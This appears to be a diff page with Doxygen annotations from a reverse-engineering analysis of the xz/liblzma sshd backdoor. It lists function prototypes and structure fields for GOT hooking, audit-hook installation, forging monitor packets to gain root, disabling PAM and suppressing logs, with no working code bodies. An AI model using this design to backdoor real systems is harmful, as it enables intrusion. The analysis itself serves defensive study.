+ 2774 unsigned operation_index,
+ 2775 unsigned shift_count,
+ 2776 int index, u8 *code);
+
+
+
+
+
+
+
+
+
+ 2804 unsigned shift_count,
unsigned operation_index);
+
+
+ 2849 u8 *call_site, u8 *code,
+
+ 2851 unsigned shift_count,
unsigned operation_index);
+
+
+
+ 2866 unsigned shift_count,
unsigned operation_index,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2983 struct link_map *libc,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 3060 extern EncodedStringId
get_string_id(
const char *string_begin,
const char *string_end);
+
+ 3101 extern unsigned int _get_cpuid_modified(
unsigned int leaf,
unsigned int *eax,
unsigned int *ebx,
unsigned int *ecx,
unsigned int *edx, u64 *caller_frame);
+
+ 3114 extern void _cpuid_gcc(
unsigned int level,
unsigned int *a,
unsigned int *b,
unsigned int *c,
unsigned int *d);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 3202 uptr *refcook, uptr *defcook,
+
+ 3204 const char *symname);
+
+
+
+
+
+ 3235 ptrdiff_t *libname_offset,
+
+
+
+
+
+ 3263 ptrdiff_t *libname_offset,
+
+
+
+
+
+
+
+
+
+
+
+ 3310 ptrdiff_t libname_offset,
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 3353 void **sensitive_data_out);
+
+
+
+
+
+
+ 3374 void **sensitive_data_out,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 3444 u8 *buffer, u64 bufferSize,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 3525 u64 sshkey_digest_offset,
+ 3526 u64 signed_data_size,
+
+
+
+
+
+
+ 3544 BOOL skip_root_patch,
+
+ 3546 BOOL replace_monitor_reqtype,
+ 3547 int monitor_reqtype,
+
+
+
+
+
+
+
+
+
+
+ 3575 u8 **code_start_out,
+
+
+
+
+
+
+
+
+
+
+ 3613 void **monitor_field_ptr_out,
+
+
+
+
+
+
+ 3631 void *mem_range_start,
+
+
+
+
+
+
+
+
+
+
+
-
-
-
-
- 3694 enum SocketMode socket_direction
-
-
-
-
-
-
-
-
-
-
-
- 3740 size_t *pOutPayloadSize,
-
-
-
-
- 3753 size_t payload_size,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 3848 unsigned int num_pointers
-
-
-
-
-
-
-
-
-
-
-
-
- 3883 LogLevel level,
const char *fmt, ...);
-
-
-
-
-
-
-
-
-
-
-
-
- 3913 static_assert(
sizeof(global_ctx) == 0x8);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+ 3699 enum SocketMode socket_direction
+
+
+
+
+
+
+
+
+
+
+
+ 3745 size_t *pOutPayloadSize,
+
+
+
+
+ 3758 size_t payload_size,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 3853 unsigned int num_pointers
+
+
+
+
+
+
+
+
+
+
+
+
+ 3888 LogLevel level,
const char *fmt, ...);
+
+
+
+
+
+
+
+
+
+
+
+
+ 3918 static_assert(
sizeof(global_ctx) == 0x8);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
int RSA_public_decrypt(int flen, const unsigned char *from, unsigned char *to, RSA *rsa, int padding)
Definition: ssh_patch.c:37
ptrdiff_t backdoor_init_stage2_got_offset
offset from the symbol backdoor_init_stage2() to the GOT
Definition: xzre.h:2093
ptrdiff_t cpuid_random_symbol_got_offset
offset from the symbol cpuid_random_symbol to the GOT
Definition: xzre.h:2081
u64 cpuid_got_index
index in the GOT for _cpuid()
Definition: xzre.h:2087
data passed to functions that access the backdoor data
Definition: xzre.h:1665
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1710
libc_imports_t libc_imports
functions imported from libc
Definition: xzre.h:1755
string_references_t string_refs
information about resolved string references and the containing functions boundaries
Definition: xzre.h:1760
struct link_map * main_map
this is for sshd itself
Definition: xzre.h:1715
elf_info_t libc_info
ELF context for libc.so.
Definition: xzre.h:1745
elf_info_t libcrypto_info
ELF context for libcrypto.so.
Definition: xzre.h:1750
elf_info_t dynamic_linker_info
ELF context for ld.so.
Definition: xzre.h:1741
elf_info_t main_info
this is for sshd itself
Definition: xzre.h:1735
lzma_allocator * import_resolver
ELF import resolver (fake LZMA allocator)
Definition: xzre.h:1765
struct link_map * dynamic_linker_map
this is for ld.so
Definition: xzre.h:1720
void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA_plt() in sshd
Definition: xzre.h:1799
void * RSA_get0_key_plt
address of the PLT for RSA_get0_key_plt() in sshd
Definition: xzre.h:1804
void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:1794
ptrdiff_t tls_get_addr_plt_offset
offset from the symbol __tls_get_addr() to the PLT
Definition: xzre.h:2107
ptrdiff_t tls_get_addr_random_symbol_got_offset
offset from the symbol tls_get_addr_random_symbol to the GOT
Definition: xzre.h:2113
u8 flags2
see InstructionFlags2
Definition: xzre.h:730
u8 flags
see InstructionFlags
Definition: xzre.h:726
void * symbol_ptr
points to a symbol in memory will be used to find the GOT value
Definition: xzre.h:668
u64 * frame_address
stores the value of __builtin_frame_address(0)-16
Definition: xzre.h:673
array of ELF handles
Definition: xzre.h:1625
elf_info_t * dynamic_linker
ELF context for ld.so.
Definition: xzre.h:1636
elf_info_t * main
this is for sshd
Definition: xzre.h:1630
u64 code_segment_size
page-aligned virtual size of the first executable ELF segment
Definition: xzre.h:894
u64 first_vaddr
virtual address of the first program header
Definition: xzre.h:823
u64 gnurelro_memsize
size of the GNU relro segment
Definition: xzre.h:869
Elf64_Verdef * verdef
pointer to the EFL symbol versioning (from DT_VERDEF)
Definition: xzre.h:873
u32 gnu_hash_last_bloom
last valid bloom value
Definition: xzre.h:911
Elf64_Dyn * dyn
pointer to the ELF dynamic segment
Definition: xzre.h:835
char * strtab
pointer to the ELF string table
Definition: xzre.h:843
Elf64_Phdr * phdrs
pointer to the ELF program headers array in memory
Definition: xzre.h:827
u32 gnu_hash_nbuckets
number of GNU hash buckets (from DT_GNU_HASH)
Definition: xzre.h:907
Elf64_Ehdr * elfbase
pointed to the ELF base address in memory
Definition: xzre.h:819
u64 e_phnum
copy of the ELF program header count from the ELF header
Definition: xzre.h:831
Elf64_Rela * plt_relocs
pointer to the ELF PLT relocations table
Definition: xzre.h:851
BOOL gnurelro_found
whether the loaded ELF contains PT_GNU_RELRO or not which specifies the location and size of a segmen...
Definition: xzre.h:861
u64 code_segment_start
page-aligned virtual address of the first executable ELF segment
Definition: xzre.h:889
u64 verdef_num
number of entries in the symbol versioning table
Definition: xzre.h:877
u64 gnurelro_vaddr
location of the GNU relro segment
Definition: xzre.h:865
Elf64_Sym * symtab
pointer to the ELF symbol table
Definition: xzre.h:847
u64 dyn_num_entries
number of entries in the ELF dynamic segment
Definition: xzre.h:839
u32 plt_relocs_num
number of entries in the PLT relocation table
Definition: xzre.h:855
void * lzma_code_end
liblzma code segment end
Definition: xzre.h:1343
libc_imports_t * libc_imports
pointer to the structure containing resolved libc functions
Definition: xzre.h:1286
char * STR_ssh_rsa_cert_v01_openssh_com
location of sshd .rodata string "ssh-rsa-cert-v01@openssh.com"
Definition: xzre.h:1304
BOOL disable_backdoor
This flag gets set to TRUE by run_backdoor_commands if any of the validity checks fail,...
Definition: xzre.h:1296
imported_funcs_t * imported_funcs
pointer to the structure containing resolved OpenSSL functions
Definition: xzre.h:1282
void * sshd_data_start
sshd data segment end
Definition: xzre.h:1324
u32 num_shifted_bits
number of bits copied
Definition: xzre.h:1368
void * sshd_code_start
sshd code segment start
Definition: xzre.h:1316
void * sshd_data_end
sshd data segment start
Definition: xzre.h:1328
char * STR_rsa_sha2_256
location of sshd .rodata string "rsa-sha2-256"
Definition: xzre.h:1308
void * sshd_code_end
sshd code segment end
Definition: xzre.h:1320
void * lzma_code_start
liblzma code segment start
Definition: xzre.h:1336
ptrdiff_t backdoor_init_stage2_got_offset
offset from the symbol backdoor_init_stage2() to the GOT
Definition: xzre.h:2098
ptrdiff_t cpuid_random_symbol_got_offset
offset from the symbol cpuid_random_symbol to the GOT
Definition: xzre.h:2086
u64 cpuid_got_index
index in the GOT for _cpuid()
Definition: xzre.h:2092
data passed to functions that access the backdoor data
Definition: xzre.h:1670
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1715
libc_imports_t libc_imports
functions imported from libc
Definition: xzre.h:1760
string_references_t string_refs
information about resolved string references and the containing functions boundaries
Definition: xzre.h:1765
struct link_map * main_map
this is for sshd itself
Definition: xzre.h:1720
elf_info_t libc_info
ELF context for libc.so.
Definition: xzre.h:1750
elf_info_t libcrypto_info
ELF context for libcrypto.so.
Definition: xzre.h:1755
elf_info_t dynamic_linker_info
ELF context for ld.so.
Definition: xzre.h:1746
elf_info_t main_info
this is for sshd itself
Definition: xzre.h:1740
lzma_allocator * import_resolver
ELF import resolver (fake LZMA allocator)
Definition: xzre.h:1770
struct link_map * dynamic_linker_map
this is for ld.so
Definition: xzre.h:1725
void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA_plt() in sshd
Definition: xzre.h:1804
void * RSA_get0_key_plt
address of the PLT for RSA_get0_key_plt() in sshd
Definition: xzre.h:1809
void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:1799
ptrdiff_t tls_get_addr_plt_offset
offset from the symbol __tls_get_addr() to the PLT
Definition: xzre.h:2112
ptrdiff_t tls_get_addr_random_symbol_got_offset
offset from the symbol tls_get_addr_random_symbol to the GOT
Definition: xzre.h:2118
u8 flags2
see InstructionFlags2
Definition: xzre.h:735
u8 flags
see InstructionFlags
Definition: xzre.h:731
void * symbol_ptr
points to a symbol in memory will be used to find the GOT value
Definition: xzre.h:673
u64 * frame_address
stores the value of __builtin_frame_address(0)-16
Definition: xzre.h:678
array of ELF handles
Definition: xzre.h:1630
elf_info_t * dynamic_linker
ELF context for ld.so.
Definition: xzre.h:1641
elf_info_t * main
this is for sshd
Definition: xzre.h:1635
u64 code_segment_size
page-aligned virtual size of the first executable ELF segment
Definition: xzre.h:899
u64 first_vaddr
virtual address of the first program header
Definition: xzre.h:828
u64 gnurelro_memsize
size of the GNU relro segment
Definition: xzre.h:874
Elf64_Verdef * verdef
pointer to the EFL symbol versioning (from DT_VERDEF)
Definition: xzre.h:878
u32 gnu_hash_last_bloom
last valid bloom value
Definition: xzre.h:916
Elf64_Dyn * dyn
pointer to the ELF dynamic segment
Definition: xzre.h:840
char * strtab
pointer to the ELF string table
Definition: xzre.h:848
Elf64_Phdr * phdrs
pointer to the ELF program headers array in memory
Definition: xzre.h:832
u32 gnu_hash_nbuckets
number of GNU hash buckets (from DT_GNU_HASH)
Definition: xzre.h:912
Elf64_Ehdr * elfbase
pointed to the ELF base address in memory
Definition: xzre.h:824
u64 e_phnum
copy of the ELF program header count from the ELF header
Definition: xzre.h:836
Elf64_Rela * plt_relocs
pointer to the ELF PLT relocations table
Definition: xzre.h:856
BOOL gnurelro_found
whether the loaded ELF contains PT_GNU_RELRO or not which specifies the location and size of a segmen...
Definition: xzre.h:866
u64 code_segment_start
page-aligned virtual address of the first executable ELF segment
Definition: xzre.h:894
u64 verdef_num
number of entries in the symbol versioning table
Definition: xzre.h:882
u64 gnurelro_vaddr
location of the GNU relro segment
Definition: xzre.h:870
Elf64_Sym * symtab
pointer to the ELF symbol table
Definition: xzre.h:852
u64 dyn_num_entries
number of entries in the ELF dynamic segment
Definition: xzre.h:844
u32 plt_relocs_num
number of entries in the PLT relocation table
Definition: xzre.h:860
void * lzma_code_end
liblzma code segment end
Definition: xzre.h:1348
libc_imports_t * libc_imports
pointer to the structure containing resolved libc functions
Definition: xzre.h:1291
char * STR_ssh_rsa_cert_v01_openssh_com
location of sshd .rodata string "ssh-rsa-cert-v01@openssh.com"
Definition: xzre.h:1309
BOOL disable_backdoor
This flag gets set to TRUE by run_backdoor_commands if any of the validity checks fail,...
Definition: xzre.h:1301
imported_funcs_t * imported_funcs
pointer to the structure containing resolved OpenSSL functions
Definition: xzre.h:1287
void * sshd_data_start
sshd data segment end
Definition: xzre.h:1329
u32 num_shifted_bits
number of bits copied
Definition: xzre.h:1373
void * sshd_code_start
sshd code segment start
Definition: xzre.h:1321
void * sshd_data_end
sshd data segment start
Definition: xzre.h:1333
char * STR_rsa_sha2_256
location of sshd .rodata string "rsa-sha2-256"
Definition: xzre.h:1313
void * sshd_code_end
sshd code segment end
Definition: xzre.h:1325
void * lzma_code_start
liblzma code segment start
Definition: xzre.h:1341
void * return_address
the return address value of the caller obtained from *(u64 *)(caller_locals+24) since the entrypoint ...
Definition: xzre.h:645
void * cpuid_fn
points to the real cpuid function
Definition: xzre.h:649
void * got_ptr
points to the Global Offset Table
Definition: xzre.h:638
ptrdiff_t got_offset
holds the offset of the symbol relative to the GOT. used to derive the got_ptr
Definition: xzre.h:654
void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:1011
void * RSA_get0_key_plt
address of the PLT for RSA_get0_key() in sshd
Definition: xzre.h:1021
void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA() in sshd
Definition: xzre.h:1016
BOOL result
TRUE if the instruction sequence was found, FALSE otherwise.
Definition: xzre.h:2187
u8 * offset_to_match
offset to match in the instruction displacement
Definition: xzre.h:2176
u8 * start_addr
start of the code address range to search
Definition: xzre.h:2166
u8 * end_addr
start of the code address range to search
Definition: xzre.h:2171
u32 * output_register_to_match
register to match as the instruction output
Definition: xzre.h:2181
the payload header. also used as Chacha IV
Definition: xzre.h:1854
the contents of the RSA 'n' field
Definition: xzre.h:1886
u8 link_map_l_audit_any_plt_bitmask
bitmask that sets the link_map::l_audit_any_plt flag
Definition: xzre.h:1469
unsigned int * _dl_naudit_ptr
location of ld.so's _rtld_global_ro::_dl_naudit_ptr field
Definition: xzre.h:1488
u32 * sshd_auditstate_bindflags_ptr
the location of sshd's auditstate::bindflags field
Definition: xzre.h:1447
char ** libcrypto_l_name
location of libcrypto's link_map::l_name field
Definition: xzre.h:1505
size_t _dl_audit_symbind_alt__size
code size of ld.so's _dl_audit_symbind_alt() function
Definition: xzre.h:1517
u32 libcrypto_auditstate_bindflags_old_value
backup of the old value of libcrypto's libname_list::next field
Definition: xzre.h:1435
struct audit_ifaces ** _dl_audit_ptr
location of ld.so's _rtld_global_ro::_dl_audit_ptr field
Definition: xzre.h:1479
void * sshd_link_map_l_audit_any_plt_addr
location of sshd's link_map::l_audit_any_plt flag
Definition: xzre.h:1462
u32 * libcrypto_auditstate_bindflags_ptr
the location of libcrypto's auditstate::bindflags field
Definition: xzre.h:1430
u32 sshd_auditstate_bindflags_old_value
backup of the old value of sshd's libname_list::next field
Definition: xzre.h:1452
void * return_address
the return address value of the caller obtained from *(u64 *)(caller_locals+24) since the entrypoint ...
Definition: xzre.h:650
void * cpuid_fn
points to the real cpuid function
Definition: xzre.h:654
void * got_ptr
points to the Global Offset Table
Definition: xzre.h:643
ptrdiff_t got_offset
holds the offset of the symbol relative to the GOT. used to derive the got_ptr
Definition: xzre.h:659
void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:1016
void * RSA_get0_key_plt
address of the PLT for RSA_get0_key() in sshd
Definition: xzre.h:1026
void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA() in sshd
Definition: xzre.h:1021
BOOL result
TRUE if the instruction sequence was found, FALSE otherwise.
Definition: xzre.h:2192
u8 * offset_to_match
offset to match in the instruction displacement
Definition: xzre.h:2181
u8 * start_addr
start of the code address range to search
Definition: xzre.h:2171
u8 * end_addr
start of the code address range to search
Definition: xzre.h:2176
u32 * output_register_to_match
register to match as the instruction output
Definition: xzre.h:2186
the payload header. also used as Chacha IV
Definition: xzre.h:1859
the contents of the RSA 'n' field
Definition: xzre.h:1891
u8 link_map_l_audit_any_plt_bitmask
bitmask that sets the link_map::l_audit_any_plt flag
Definition: xzre.h:1474
unsigned int * _dl_naudit_ptr
location of ld.so's _rtld_global_ro::_dl_naudit_ptr field
Definition: xzre.h:1493
u32 * sshd_auditstate_bindflags_ptr
the location of sshd's auditstate::bindflags field
Definition: xzre.h:1452
char ** libcrypto_l_name
location of libcrypto's link_map::l_name field
Definition: xzre.h:1510
size_t _dl_audit_symbind_alt__size
code size of ld.so's _dl_audit_symbind_alt() function
Definition: xzre.h:1522
u32 libcrypto_auditstate_bindflags_old_value
backup of the old value of libcrypto's libname_list::next field
Definition: xzre.h:1440
struct audit_ifaces ** _dl_audit_ptr
location of ld.so's _rtld_global_ro::_dl_audit_ptr field
Definition: xzre.h:1484
void * sshd_link_map_l_audit_any_plt_addr
location of sshd's link_map::l_audit_any_plt flag
Definition: xzre.h:1467
u32 * libcrypto_auditstate_bindflags_ptr
the location of libcrypto's auditstate::bindflags field
Definition: xzre.h:1435
u32 sshd_auditstate_bindflags_old_value
backup of the old value of sshd's libname_list::next field
Definition: xzre.h:1457
Structure to hold internal state of the check being calculated.
Definition: xzre.h:280
State for the internal SHA-256 implementation.
Definition: xzre.h:268
uint64_t size
Size of the message excluding padding.
Definition: xzre.h:273
data used within sshd_proxy_elevate
Definition: xzre.h:1990
struct monitor from openssh-portable
Definition: xzre.h:578
stack frame layout for run_backdoor_commands
Definition: xzre.h:2027
struct sensitive_data from openssh-portable
Definition: xzre.h:590
struct sshkey from openssh-portable
Definition: xzre.h:601
void * func_start
the starting address of the function that referenced the string
Definition: xzre.h:1682
EncodedStringId string_id
the string that was referenced, in encoded form
Definition: xzre.h:1677
void * xref
location of the instruction that referenced the string
Definition: xzre.h:1690
void * func_end
the ending address of the function that referenced the string
Definition: xzre.h:1686
union used within run_backdoor_commands
Definition: xzre.h:2014
represents a shift register, which will shift a '1' into the secret data array. the low 3 bits repres...
Definition: xzre.h:1823
u32 index
Definition: xzre.h:1825
u32 byte_index
Definition: xzre.h:1830
u32 bit_index
Definition: xzre.h:1828
data used within sshd_proxy_elevate
Definition: xzre.h:1995
struct monitor from openssh-portable
Definition: xzre.h:583
stack frame layout for run_backdoor_commands
Definition: xzre.h:2032
struct sensitive_data from openssh-portable
Definition: xzre.h:595
struct sshkey from openssh-portable
Definition: xzre.h:606
void * func_start
the starting address of the function that referenced the string
Definition: xzre.h:1687
EncodedStringId string_id
the string that was referenced, in encoded form
Definition: xzre.h:1682
void * xref
location of the instruction that referenced the string
Definition: xzre.h:1695
void * func_end
the ending address of the function that referenced the string
Definition: xzre.h:1691
union used within run_backdoor_commands
Definition: xzre.h:2019
represents a shift register, which will shift a '1' into the secret data array. the low 3 bits repres...
Definition: xzre.h:1828
u32 index
Definition: xzre.h:1830
u32 byte_index
Definition: xzre.h:1835
u32 bit_index
Definition: xzre.h:1833
BOOL elf_find_function_pointer(StringXrefId xref_id, void **pOutCodeStart, void **pOutCodeEnd, void **pOutFptrAddr, elf_info_t *elf_info, string_references_t *xrefs, global_context_t *ctx)
this function searches for a function pointer, pointing to a function designated by the given xref_id
fake_lzma_allocator_t * get_lzma_allocator_address(void)
gets the address of the fake LZMA allocator
BOOL elf_parse(Elf64_Ehdr *ehdr, elf_info_t *elf_info)
Parses the given in-memory ELF file into elf_info.
backdoor_hooks_data_t * hooks_data_addr
location of backdoor_hooks_data_t
BOOL sha256(const void *data, size_t count, u8 *mdBuf, u64 mdBufSize, imported_funcs_t *funcs)
computes the SHA256 hash of the supplied data
BOOL find_mov_instruction(u8 *code_start, u8 *code_end, BOOL is_64bit_operand, BOOL load_flag, dasm_ctx_t *dctx)
finds a MOV instruction.
ElfId
Definition: xzre.h:395
@ X_ELF_MAIN
this is for sshd itself
Definition: xzre.h:400
ElfId
Definition: xzre.h:400
@ X_ELF_MAIN
this is for sshd itself
Definition: xzre.h:405
int init_hooks_ctx(backdoor_hooks_ctx_t *ctx)
Initializes the structure with hooks-related data.
CommandFlags2
Definition: xzre.h:1917
@ X_FLAGS2_CHANGE_MONITOR_REQ
if set, changes the monitor_reqtype field from MONITOR_REQ_AUTHPASSWORD to what's contained in the pa...
Definition: xzre.h:1927
@ X_FLAGS2_PSELECT
executes pselect, then exit not compatible with command 2
Definition: xzre.h:1941
@ X_FLAGS2_CONTINUATION
more data available in the following packet not compatible with command 3
Definition: xzre.h:1936
@ X_FLAGS2_SOCKFD_MASK
(0111_1000 >> 3) & 0xF when CMDF_SOCKET_INDEX is specified
Definition: xzre.h:1948
@ X_FLAGS2_IMPERSONATE
if set, impersonate a user (info from payload) if not set, impersonate root
Definition: xzre.h:1922
CommandFlags2
Definition: xzre.h:1922
@ X_FLAGS2_CHANGE_MONITOR_REQ
if set, changes the monitor_reqtype field from MONITOR_REQ_AUTHPASSWORD to what's contained in the pa...
Definition: xzre.h:1932
@ X_FLAGS2_PSELECT
executes pselect, then exit not compatible with command 2
Definition: xzre.h:1946
@ X_FLAGS2_CONTINUATION
more data available in the following packet not compatible with command 3
Definition: xzre.h:1941
@ X_FLAGS2_SOCKFD_MASK
(0111_1000 >> 3) & 0xF when CMDF_SOCKET_INDEX is specified
Definition: xzre.h:1953
@ X_FLAGS2_IMPERSONATE
if set, impersonate a user (info from payload) if not set, impersonate root
Definition: xzre.h:1927
struct key_payload_hdr key_payload_hdr_t
the payload header. also used as Chacha IV
BOOL find_call_instruction(u8 *code_start, u8 *code_end, u8 *call_target, dasm_ctx_t *dctx)
finds a call instruction
const elf_functions_t elf_functions
special .data.rel.ro section that contains addresses to various functions
BOOL is_range_mapped(u8 *addr, u64 length, global_context_t *ctx)
verify if a memory range is mapped
int sshd_get_sensitive_data_score_in_do_child(void *sensitive_data, elf_info_t *elf, string_references_t *refs)
obtains a numeric score which indicates if do_child accesses sensitive_data or not
BOOL sshd_find_sensitive_data(elf_info_t *sshd, elf_info_t *libcrypto, string_references_t *refs, imported_funcs_t *funcs, global_context_t *ctx)
locates sensitive_data within sshd, and resolves some additional libcrypto functions
CommandFlags1
Definition: xzre.h:1894
@ X_FLAGS1_SETLOGMASK
disable all logging by setting mask 0x80000000
Definition: xzre.h:1902
@ X_FLAGS1_NO_EXTENDED_SIZE
if set, the union size field must be 0
Definition: xzre.h:1914
@ X_FLAGS1_SOCKET_INDEX
custom monitor socket index override
Definition: xzre.h:1906
@ X_FLAGS1_8BYTES
the data block contains 8 additional bytes
Definition: xzre.h:1898
@ X_FLAGS1_DISABLE_PAM
if set, disables PAM authentication
Definition: xzre.h:1910
CommandFlags1
Definition: xzre.h:1899
@ X_FLAGS1_SETLOGMASK
disable all logging by setting mask 0x80000000
Definition: xzre.h:1907
@ X_FLAGS1_NO_EXTENDED_SIZE
if set, the union size field must be 0
Definition: xzre.h:1919
@ X_FLAGS1_SOCKET_INDEX
custom monitor socket index override
Definition: xzre.h:1911
@ X_FLAGS1_8BYTES
the data block contains 8 additional bytes
Definition: xzre.h:1903
@ X_FLAGS1_DISABLE_PAM
if set, disables PAM authentication
Definition: xzre.h:1915
void update_cpuid_got_index(elf_entry_ctx_t *ctx)
get the cpuid() GOT index
BOOL sshd_proxy_elevate(monitor_data_t *args, global_context_t *ctx)
forges a new MONITOR_REQ_KEYALLOWED packet, and injects it into the server to gain root privileges th...
uintptr_t backdoor_symbind64(Elf64_Sym *sym, unsigned int ndx, uptr *refcook, uptr *defcook, unsigned int flags, const char *symname)
the backdoored symbind64 installed in GLRO(dl_audit)
BOOL find_lea_instruction_with_mem_operand(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx, void *mem_address)
finds a LEA instruction with an immediate memory operand
const backdoor_cpuid_reloc_consts_t cpuid_reloc_consts
special .rodata section that contains _cpuid() related GOT offsets
BOOL sshd_get_sensitive_data_address_via_krb5ccname(u8 *data_start, u8 *data_end, u8 *code_start, u8 *code_end, void **sensitive_data_out, elf_info_t *elf)
finds the address of sensitive_data.host_keys in sshd by using getenv( STR_KRB5CCNAME )
struct backdoor_data backdoor_data_t
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1660
struct backdoor_data backdoor_data_t
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1665
u8 * find_string_reference(u8 *code_start, u8 *code_end, const char *str)
finds an instruction that references the given string
int sshd_get_sensitive_data_score(void *sensitive_data, elf_info_t *elf, string_references_t *refs)
obtains a numeric score which indicates if accesses sensitive_data or not
BOOL secret_data_get_decrypted(u8 *output, global_context_t *ctx)
obtains a decrypted copy of the secret data
void * find_addr_referenced_in_mov_instruction(StringXrefId id, string_references_t *refs, void *mem_range_start, void *mem_range_end)
find an address referenced in a function
u32 resolver_call_count
counts the number of times the IFUNC resolver is called
BOOL sshd_configure_log_hook(cmd_arguments_t *cmd_flags, global_context_t *ctx)
configure the log hook
CommandFlags3
Definition: xzre.h:1951
@ X_FLAGS3_MONITOR_REQ_VAL
6 bits used to store the monitor req / 2 (might be unused)
Definition: xzre.h:1959
@ X_FLAGS3_SOCKET_NUM
5 bits used to store number of sockets (in cmd3)
Definition: xzre.h:1955
CommandFlags3
Definition: xzre.h:1956
@ X_FLAGS3_MONITOR_REQ_VAL
6 bits used to store the monitor req / 2 (might be unused)
Definition: xzre.h:1964
@ X_FLAGS3_SOCKET_NUM
5 bits used to store number of sockets (in cmd3)
Definition: xzre.h:1960
struct monitor_data monitor_data_t
data used within sshd_proxy_elevate
const u64 cpuid_random_symbol
a bogus global variable that is used by the backdoor to generate an extra symbol
void * elf_get_got_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id)
Gets the GOT symbol with name encoded_string_id from the parsed ELF file.